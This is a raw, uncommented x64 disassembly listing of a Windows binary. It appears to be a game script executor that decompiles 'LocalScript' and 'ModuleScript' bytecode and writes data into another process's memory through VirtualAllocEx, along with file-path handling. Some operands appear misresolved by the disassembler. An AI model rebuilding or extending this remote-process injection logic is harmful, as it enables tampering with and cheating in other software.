lea rdx, [0x140365aef]
lea rcx, [rsp + 0x2168]
call fcn.1400064f0
nop
lea rax, [rsp + 0x1f70]
mov qword [rsp + 0xc80], rax
mov rcx, qword [rsp + 0xc80]
call fcn.1400085d0
mov qword [rsp + 0x590], rax
mov rcx, qword [rsp + 0xc80]
call fcn.14000ab80
mov qword [rsp + 0x1668], rax
jmp 0x140029d82
mov rax, qword [rsp + 0x590]
inc rax
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x1668]
cmp qword [rsp + 0x590], rax
je 0x140029dbd
mov rax, qword [rsp + 0x590]
movzx eax, byte [rax]
mov byte [rsp + 0xcf], al
movzx edx, byte [rsp + 0xcf]
lea rcx, [rsp + 0x2168]
call fcn.140006930
jmp 0x140029d6f
lea rcx, [rsp + 0x2168]
call fcn.1400074e0
inc rax
mov dword [rsp + 0x8d0], eax
movsxd rax, dword [rsp + 0x8d0]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1e38]
call fcn.1400151f0
nop
lea rcx, [rsp + 0x1e38]
call fcn.1400074e0
mov dword [rsp + 0x8cc], eax
lea rcx, [rsp + 0x2168]
call fcn.1400074e0
mov dword [rsp + 0x8c8], eax
xor edx, edx
lea rcx, [rsp + 0x1e38]
call fcn.140006890
mov qword [rsp + 0x1670], rax
xor edx, edx
lea rcx, [rsp + 0x2168]
call fcn.140006890
mov qword [rsp + 0x1678], rax
mov r9d, dword [rsp + 0x8cc]
mov r8d, dword [rsp + 0x8c8]
mov rdx, qword [rsp + 0x1670]
mov rcx, qword [rsp + 0x1678]
call fcn.14004e7d0
cdqe
mov qword [rsp + 0x2940], rax
lea rcx, [rsp + 0x1e38]
call fcn.1400074e0
mov qword [rsp + 0x1680], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1688], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1680]
xor edx, edx
mov rcx, qword [rsp + 0x1688]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xe98], rax
lea rcx, [rsp + 0x1e38]
call fcn.1400074e0
mov qword [rsp + 0x1690], rax
lea rcx, [rsp + 0x1e38]
call fcn.14000ae90
mov qword [rsp + 0x1698], rax
mov r8, qword [rsp + 0x1690]
mov rdx, qword [rsp + 0x1698]
mov rcx, qword [rsp + 0xe98]
call fcn.140033090
mov rax, qword [rsp + 0xe98]
mov qword [rsp + 0x998], rax
mov qword [rsp + 0x2948], 0
lea rcx, [rsp + 0x1e38]
call fcn.14000ae90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x598], 0
jmp 0x140029f81
mov rax, qword [rsp + 0x598]
inc rax
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x370]
sub rax, 0x30000
mov qword [rsp + 0x370], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x598], rax
jae 0x14002a0b7
cmp qword [rsp + 0x370], 0
jbe 0x14002a0b7
cmp qword [rsp + 0x370], 0x7fffffff
jae 0x14002a0b7
cmp qword [rsp + 0x370], 0x30000
jbe 0x140029fd9
mov qword [rsp + 0xc90], 0x30000
jmp 0x140029fe9
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0xc90]
mov qword [rsp + 0x990], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x16a0], rax
mov rdx, qword [rsp + 0x598]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x16a0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x988], rax
lea rdx, [rsp + 0x998]
mov rcx, qword [rsp + 0x988]
call fcn.140013f40
mov rax, qword [rsp + 0x988]
add rax, 0x10
lea rdx, [rsp + 0x990]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x990]
or rax, 0x1f
mov qword [rsp + 0x16a8], rax
mov rax, qword [rsp + 0x988]
add rax, 0x18
lea rdx, [rsp + 0x16a8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x990]
mov rcx, qword [rsp + 0x998]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x998], rax
jmp 0x140029f58
lea rcx, [rsp + 0x1e38]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2168]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1f70]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.lz4decompress
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002a769
lea rcx, [rsp + 0x1fe8]
call fcn.140015970
nop
mov qword [rsp + 0x300], 0
jmp 0x14002a133
mov rax, qword [rsp + 0x300]
inc rax
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x300], rax
jae 0x14002a3af
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x16b0], rax
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16b0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x9a0], rax
cmp qword [rsp + 0x9a0], 0
jne 0x14002a19c
jmp 0x14002a3af
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x16b8], rax
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16b8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x14002a2cb
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x16c0], rax
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x16c0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0x9a0]
mov rdx, rax
lea rcx, [rsp + 0x2708]
call fcn.140013b50
nop
lea rax, [rsp + 0x2708]
mov qword [rsp + 0xc98], rax
mov rcx, qword [rsp + 0xc98]
call fcn.1400085d0
mov qword [rsp + 0x5a0], rax
mov rcx, qword [rsp + 0xc98]
call fcn.14000ab80
mov qword [rsp + 0x16c8], rax
jmp 0x14002a27e
mov rax, qword [rsp + 0x5a0]
inc rax
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x16c8]
cmp qword [rsp + 0x5a0], rax
je 0x14002a2b9
mov rax, qword [rsp + 0x5a0]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x1fe8]
call fcn.140034160
jmp 0x14002a26b
lea rcx, [rsp + 0x2708]
call fcn.140017680
jmp 0x14002a3aa
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x16d0], rax
mov rdx, qword [rsp + 0x300]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x16d0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x9a0]
mov rdx, rax
lea rcx, [rsp + 0x2720]
call fcn.140013b50
nop
lea rax, [rsp + 0x2720]
mov qword [rsp + 0xca0], rax
mov rcx, qword [rsp + 0xca0]
call fcn.1400085d0
mov qword [rsp + 0x5a8], rax
mov rcx, qword [rsp + 0xca0]
call fcn.14000ab80
mov qword [rsp + 0x16d8], rax
jmp 0x14002a362
mov rax, qword [rsp + 0x5a8]
inc rax
mov qword [rsp + 0x5a8], rax
mov rax, qword [rsp + 0x16d8]
cmp qword [rsp + 0x5a8], rax
je 0x14002a39d
mov rax, qword [rsp + 0x5a8]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
lea rdx, [rsp + 0xd1]
lea rcx, [rsp + 0x1fe8]
call fcn.140034160
jmp 0x14002a34f
lea rcx, [rsp + 0x2720]
call fcn.140017680
jmp 0x14002a120
lea rdx, [0x140365b06]
lea rcx, [rsp + 0x2018]
call fcn.1400064f0
nop
lea rax, [rsp + 0x1fe8]
mov qword [rsp + 0xca8], rax
mov rcx, qword [rsp + 0xca8]
call fcn.1400085d0
mov qword [rsp + 0x5b0], rax
mov rcx, qword [rsp + 0xca8]
call fcn.14000ab80
mov qword [rsp + 0x16e0], rax
jmp 0x14002a413
mov rax, qword [rsp + 0x5b0]
inc rax
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x16e0]
cmp qword [rsp + 0x5b0], rax
je 0x14002a44e
mov rax, qword [rsp + 0x5b0]
movzx eax, byte [rax]
mov byte [rsp + 0xd2], al
movzx edx, byte [rsp + 0xd2]
lea rcx, [rsp + 0x2018]
call fcn.140006930
jmp 0x14002a400
lea rcx, [rsp + 0x2018]
call fcn.1400074e0
lea rax, [rax + rax + 9]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1e58]
call fcn.1400151f0
nop
lea rcx, [rsp + 0x1e58]
call fcn.1400074e0
mov dword [rsp + 0x8c4], eax
lea rcx, [rsp + 0x2018]
call fcn.1400074e0
mov dword [rsp + 0x8c0], eax
xor edx, edx
lea rcx, [rsp + 0x1e58]
call fcn.140006890
mov qword [rsp + 0x16e8], rax
xor edx, edx
lea rcx, [rsp + 0x2018]
call fcn.140006890
mov qword [rsp + 0x16f0], rax
mov r9d, dword [rsp + 0x8c4]
mov r8d, dword [rsp + 0x8c0]
mov rdx, qword [rsp + 0x16e8]
mov rcx, qword [rsp + 0x16f0]
call fcn.14004e810
cdqe
mov qword [rsp + 0x2950], rax
lea rcx, [rsp + 0x1e58]
call fcn.1400074e0
mov qword [rsp + 0x16f8], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1700], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x16f8]
xor edx, edx
mov rcx, qword [rsp + 0x1700]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xcb0], rax
lea rcx, [rsp + 0x1e58]
call fcn.1400074e0
mov qword [rsp + 0x1708], rax
lea rcx, [rsp + 0x1e58]
call fcn.14000ae90
mov qword [rsp + 0x1710], rax
mov r8, qword [rsp + 0x1708]
mov rdx, qword [rsp + 0x1710]
mov rcx, qword [rsp + 0xcb0]
call fcn.140033090
mov rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x2958], 0
lea rcx, [rsp + 0x1e58]
call fcn.14000ae90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
cdqe
mov qword [rsp + 0x368], rax
mov qword [rsp + 0x5b8], 0
jmp 0x14002a605
mov rax, qword [rsp + 0x5b8]
inc rax
mov qword [rsp + 0x5b8], rax
mov rax, qword [rsp + 0x368]
sub rax, 0x30000
mov qword [rsp + 0x368], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x5b8], rax
jae 0x14002a73b
cmp qword [rsp + 0x368], 0
jbe 0x14002a73b
cmp qword [rsp + 0x368], 0x7fffffff
jae 0x14002a73b
cmp qword [rsp + 0x368], 0x30000
jbe 0x14002a65d
mov qword [rsp + 0xcb8], 0x30000
jmp 0x14002a66d
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0x9b0], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1718], rax
mov rdx, qword [rsp + 0x5b8]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1718]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9a8], rax
lea rdx, [rsp + 0x9b8]
mov rcx, qword [rsp + 0x9a8]
call fcn.140013f40
mov rax, qword [rsp + 0x9a8]
add rax, 0x10
lea rdx, [rsp + 0x9b0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9b0]
or rax, 0x1f
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0x9a8]
add rax, 0x18
lea rdx, [rsp + 0x1720]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b8], rax
jmp 0x14002a5dc
lea rcx, [rsp + 0x1e58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2018]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x1fe8]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.decompile
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002ae7f
lea rdx, [0x140365b07]
lea rcx, [rsp + 0x2038]
call fcn.1400064f0
nop
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1728], rax
mov rax, qword [rsp + 0x1728]
add rax, 8
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x498], rax
cmp qword [rsp + 0x498], 0
je 0x14002ab27
mov rdx, qword [rsp + 0x498]
lea rcx, [rsp + 0x40a0]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3568]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x358c], 4
jne 0x14002ab27
mov rdx, qword [rsp + 0x498]
lea rcx, [rsp + 0xcd8]
call fcn.14000cda0
nop
lea rdx, [rsp + 0x2878]
lea rcx, [rsp + 0xcd8]
call fcn.140053300
nop
lea rdx, str.LocalScript
lea rcx, [rsp + 0x2878]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002a894
movsx rax, word [0x14047d06c]
mov rcx, qword [rsp + 0x498]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1e8], rax
jmp 0x14002a8d5
lea rdx, str.ModuleScript
lea rcx, [rsp + 0x2878]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002a8d5
movsx rax, word [0x14047d070]
mov rcx, qword [rsp + 0x498]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x1e8], rax
cmp qword [rsp + 0x1e8], 0
je 0x14002ab0c
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x3f50]
call fcn.1402c6ca0
lea rcx, [rsp + 0x3598]
mov rdi, rcx
mov rsi, rax
mov ecx, gethostbyaddr
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x35bc], 4
jne 0x14002ab0c
mov rax, qword [rsp + 0x1e8]
add rax, 0x10
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x1e8]
add rax, 0x18
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0x2960], rax
mov rax, qword [rsp + 0x1e8]
add rax, 0x10
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xcc0], rax
cmp qword [rsp + 0xcc0], 0
jbe 0x14002ab0c
mov rcx, qword [rsp + 0x1e8]
call fcn.140013da0
mov qword [rsp + 0x1730], rax
mov r8, qword [rsp + 0xcc0]
mov rdx, qword [rsp + 0x1730]
lea rcx, [rsp + 0x2750]
call fcn.140013b50
nop
lea rcx, [rsp + 0x2858]
call fcn.140006550
nop
lea rax, [rsp + 0x2750]
mov qword [rsp + 0xcc8], rax
mov rcx, qword [rsp + 0xcc8]
call fcn.1400085d0
mov qword [rsp + 0x5c0], rax
mov rcx, qword [rsp + 0xcc8]
call fcn.14000ab80
mov qword [rsp + 0x1738], rax
jmp 0x14002aa07
mov rax, qword [rsp + 0x5c0]
inc rax
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x1738]
cmp qword [rsp + 0x5c0], rax
je 0x14002aa42
mov rax, qword [rsp + 0x5c0]
movzx eax, byte [rax]
mov byte [rsp + 0xd3], al
movzx edx, byte [rsp + 0xd3]
lea rcx, [rsp + 0x2858]
call fcn.140006930
jmp 0x14002a9f4
lea rdx, [rsp + 0x2858]
lea rcx, [rsp + 0x2738]
call fcn.1401fd150
nop
lea rax, [rsp + 0x2738]
mov qword [rsp + 0xcd0], rax
mov rcx, qword [rsp + 0xcd0]
call fcn.1400085d0
mov qword [rsp + 0x5c8], rax
mov rcx, qword [rsp + 0xcd0]
call fcn.14000ab80
mov qword [rsp + 0x1740], rax
jmp 0x14002aaa7
mov rax, qword [rsp + 0x5c8]
inc rax
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x1740]
cmp qword [rsp + 0x5c8], rax
je 0x14002aae2
mov rax, qword [rsp + 0x5c8]
movzx eax, byte [rax]
mov byte [rsp + 0xd4], al
movzx edx, byte [rsp + 0xd4]
lea rcx, [rsp + 0x2038]
call fcn.140006930
jmp 0x14002aa94
lea rcx, [rsp + 0x2738]
call fcn.140017680
nop
lea rcx, [rsp + 0x2858]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2750]
call fcn.140017680
nop
lea rcx, [rsp + 0x2878]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xcd8]
call fcn.1400061b0
lea rcx, [rsp + 0x2038]
call fcn.140020310
movzx eax, al
test eax, eax
jne 0x14002ae6d
lea rcx, [rsp + 0x2038]
call fcn.1400074e0
mov rdx, rax
lea rcx, str.Bytecode_size:__i_n
call fcn.14000cc30
lea rax, [0x1401acfe0]
mov qword [rsp + 0x1748], rax
call fcn.1401a6980
lea r8, [rsp + 0x1748]
mov rdx, rax
lea rcx, [rsp + 0x2058]
call fcn.14000d120
nop
lea rcx, [rsp + 0x2058]
call fcn.14000ab80
mov qword [rsp + 0x5d0], rax
mov rcx, qword [rsp + 0x5d0]
call fcn.1401a69a0
mov rcx, qword [rsp + 0x5d0]
call fcn.1401a6a20
mov rcx, qword [rsp + 0x5d0]
call fcn.1401a6b10
lea r8, [rsp + 0x2038]
mov rdx, qword [rsp + 0x5d0]
lea rcx, [rsp + 0x1e78]
call fcn.14004e1f0
nop
lea rcx, [rsp + 0x1e78]
call fcn.1400074e0
mov rdx, rax
lea rcx, str.Output_size:__i_n
call fcn.14000cc30
lea rcx, [rsp + 0x1e78]
call fcn.14000ae90
mov rdx, rax
lea rcx, str.Output:__s_n
call fcn.14000cc30
lea rcx, [rsp + 0x1e78]
call fcn.1400074e0
mov qword [rsp + 0x1750], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1758], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1750]
xor edx, edx
mov rcx, qword [rsp + 0x1758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xce0], rax
lea rcx, [rsp + 0x1e78]
call fcn.1400074e0
mov qword [rsp + 0x1760], rax
lea rcx, [rsp + 0x1e78]
call fcn.14000ae90
mov qword [rsp + 0x1768], rax
mov r8, qword [rsp + 0x1760]
mov rdx, qword [rsp + 0x1768]
mov rcx, qword [rsp + 0xce0]
call fcn.140033090
mov rax, qword [rsp + 0xce0]
mov qword [rsp + 0x9d0], rax
mov qword [rsp + 0x2490], 0
lea rcx, [rsp + 0x1e78]
call fcn.1400074e0
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x688], 0
jmp 0x14002ad1b
mov rax, qword [rsp + 0x688]
inc rax
mov qword [rsp + 0x688], rax
mov rax, qword [rsp + 0x360]
sub rax, 0x30000
mov qword [rsp + 0x360], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x688], rax
jae 0x14002ae51
cmp qword [rsp + 0x360], 0
jbe 0x14002ae51
cmp qword [rsp + 0x360], 0x7fffffff
jae 0x14002ae51
cmp qword [rsp + 0x360], 0x30000
jbe 0x14002ad73
mov qword [rsp + 0xce8], 0x30000
jmp 0x14002ad83
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xce8], rax
mov rax, qword [rsp + 0xce8]
mov qword [rsp + 0x9c8], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1770], rax
mov rdx, qword [rsp + 0x688]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1770]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9c0], rax
lea rdx, [rsp + 0x9d0]
mov rcx, qword [rsp + 0x9c0]
call fcn.140013f40
mov rax, qword [rsp + 0x9c0]
add rax, 0x10
lea rdx, [rsp + 0x9c8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9c8]
or rax, 0x1f
mov qword [rsp + 0x1778], rax
mov rax, qword [rsp + 0x9c0]
add rax, 0x18
lea rdx, [rsp + 0x1778]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x9c8]
mov rcx, qword [rsp + 0x9d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d0], rax
jmp 0x14002acf2
lea rcx, [rsp + 0x1e78]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2058]
call fcn.140017530
nop
lea rcx, [rsp + 0x2038]
call fcn.1400067e0
jmp 0x14002fb8c
lea rdx, [0x14036686c]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002b85b
lea rcx, [rsp + 0x2cd0]
call fcn.140015970
nop
lea rcx, [rsp + 0x2248]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1780], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1780]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002af60
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1788], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1788]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x30a8]
call fcn.1402c6d80
mov qword [rsp + 0x1790], rax
mov rdx, qword [rsp + 0x1790]
lea rcx, [rsp + 0x2248]
call fcn.140009f60
lea rcx, [rsp + 0x30a8]
call fcn.1400067e0
jmp 0x14002afc3
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1798], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1798]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x30c8]
call fcn.1402c6d80
mov qword [rsp + 0x17a0], rax
mov rdx, qword [rsp + 0x17a0]
lea rcx, [rsp + 0x2248]
call fcn.140009f60
lea rcx, [rsp + 0x30c8]
call fcn.1400067e0
lea rcx, [rsp + 0x3820]
call fcn.140015c70
nop
lea r8, [rsp + 0x2248]
lea rdx, [rsp + 0x718]
lea rcx, [rsp + 0x3820]
call fcn.1400209a0
nop
lea rcx, [rsp + 0x718]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002b81f
mov byte [rsp + 0x42], 0
lea rcx, [rsp + 0x718]
call fcn.1400074e0
cmp rax, 0xa
jbe 0x14002b1f5
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rsp + 0x30e8]
lea rcx, [rsp + 0x718]
call fcn.140035a00
mov qword [rsp + 0x17a8], rax
mov rcx, qword [rsp + 0x17a8]
call fcn.14001dee0
lea rdx, [0x140366be0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14002b078
mov dword [rsp + 0x43c], 1
jmp 0x14002b083
mov dword [rsp + 0x43c], 0
movzx eax, byte [rsp + 0x43c]
mov byte [rsp + 0xd5], al
lea rcx, [rsp + 0x30e8]
call fcn.140017380
movzx eax, byte [rsp + 0xd5]
test eax, eax
je 0x14002b1f5
mov rax, qword [rsp + 0x8de0]
add rax, 0x3bc
mov rdx, rax
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140366bf8]
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x9c], 0xa
jmp 0x14002b100
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
lea rcx, [rsp + 0x718]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x9c]
cmp rcx, rax
jae 0x14002b1f0
movsxd rax, dword [rsp + 0x9c]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002b145
jmp 0x14002b1f0
lea rcx, [rsp + 0x718]
call fcn.1400074e0
mov ecx, dword [rsp + 0x9c]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002b1a8
movsxd rax, dword [rsp + 0x9c]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002b1a8
mov eax, dword [rsp + 0x9c]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002b1a8
jmp 0x14002b1f0
movsxd rax, dword [rsp + 0x9c]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x440], ax
xor eax, eax
mov word [rsp + 0x442], ax
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002b0f0
mov byte [rsp + 0x42], 1
movzx eax, byte [rsp + 0x42]
test eax, eax
jne 0x14002b32e
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0xa0], 0
jmp 0x14002b23e
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
lea rcx, [rsp + 0x718]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0xa0]
cmp rcx, rax
jae 0x14002b32e
movsxd rax, dword [rsp + 0xa0]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002b283
jmp 0x14002b32e
lea rcx, [rsp + 0x718]
call fcn.1400074e0
mov ecx, dword [rsp + 0xa0]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002b2e6
movsxd rax, dword [rsp + 0xa0]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002b2e6
mov eax, dword [rsp + 0xa0]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002b2e6
jmp 0x14002b32e
movsxd rax, dword [rsp + 0xa0]
mov rdx, rax
lea rcx, [rsp + 0x718]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x444], ax
xor eax, eax
mov word [rsp + 0x446], ax
lea rdx, [rsp + 0x444]
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002b22e
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8bc], eax
lea rcx, [rsp + 0x4410]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8bc]
cmp eax, ecx
jg 0x14002b372
movzx eax, byte [rsp + 0x42]
test eax, eax
je 0x14002b81f
lea rdx, [0x1403667ec]
lea rcx, [rsp + 0x1ef0]
call fcn.140009a50
nop
xor edx, edx
lea rcx, [rsp + 0x4410]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__waccess_s]
test eax, eax
jne 0x14002b3d6
lea rdx, [rsp + 0x36a8]
lea rcx, [rsp + 0x4410]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wstat64]
movzx eax, word [rsp + 0x36ae]
and eax, 0x4000
test eax, eax
je 0x14002b3d6
lea rdx, [0x140366c10]
lea rcx, [rsp + 0x1ef0]
call fcn.140017e10
lea rdx, [0x140366c28]
lea rcx, [rsp + 0x1ef0]
call fcn.14000e050
movzx eax, al
test eax, eax
je 0x14002b4c6
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x21
lea rdx, [rsp + 0x4410]
lea rcx, [rsp + 0x40d0]
call fcn.140014e50
nop
lea rcx, [rsp + 0x40d0]
call fcn.1400307b0
movzx eax, al
test eax, eax
je 0x14002b4a4
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x40d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__::get_wchar_t____ptr64____ptr64]
mov qword [rsp + 0xcf0], rax
mov rax, qword [rsp + 0xcf0]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0xcf0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14002b495
movzx edx, word [rsp + 0x2a8]
lea rcx, [rsp + 0x1ef0]
call fcn.140034090
jmp 0x14002b433
lea rcx, [rsp + 0x40d0]
call fcn.14001ee20
jmp 0x14002b4b9
